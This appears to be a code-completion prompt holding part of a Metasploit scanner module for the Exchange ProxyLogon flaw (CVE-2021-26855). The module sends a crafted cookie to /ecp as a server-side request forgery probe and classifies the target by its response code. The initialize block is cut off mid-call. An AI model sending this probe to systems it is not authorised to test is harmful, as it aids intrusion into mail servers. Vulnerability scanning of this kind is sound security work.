You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: exchange_proxylogon.rb
    path of file: ./repos/metasploit-framework/modules/auxiliary/scanner/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# begin auxiliary class
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        
    
  def run_host(target_host)
    @proto = (ssl ? 'https' : 'http')

    uri = normalize_uri('ecp', "#{Rex::Text.rand_text_alpha(1..3)}.js")
    received = send_request_cgi({
      'method' => datastore['METHOD'],
      'uri' => uri,
      'cookie' => 'X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;'
    })
    unless received
      print_error(message('No response, target seems down.'))

      return Exploit::CheckCode::Unknown
    end

    if received && (received.code != 500 && received.code != 503)
      print_error(message('The target is not vulnerable to CVE-2021-26855.'))
      vprint_error("Obtained HTTP response code #{received.code} for #{full_uri(uri)}.")

      return Exploit::CheckCode::Safe
    end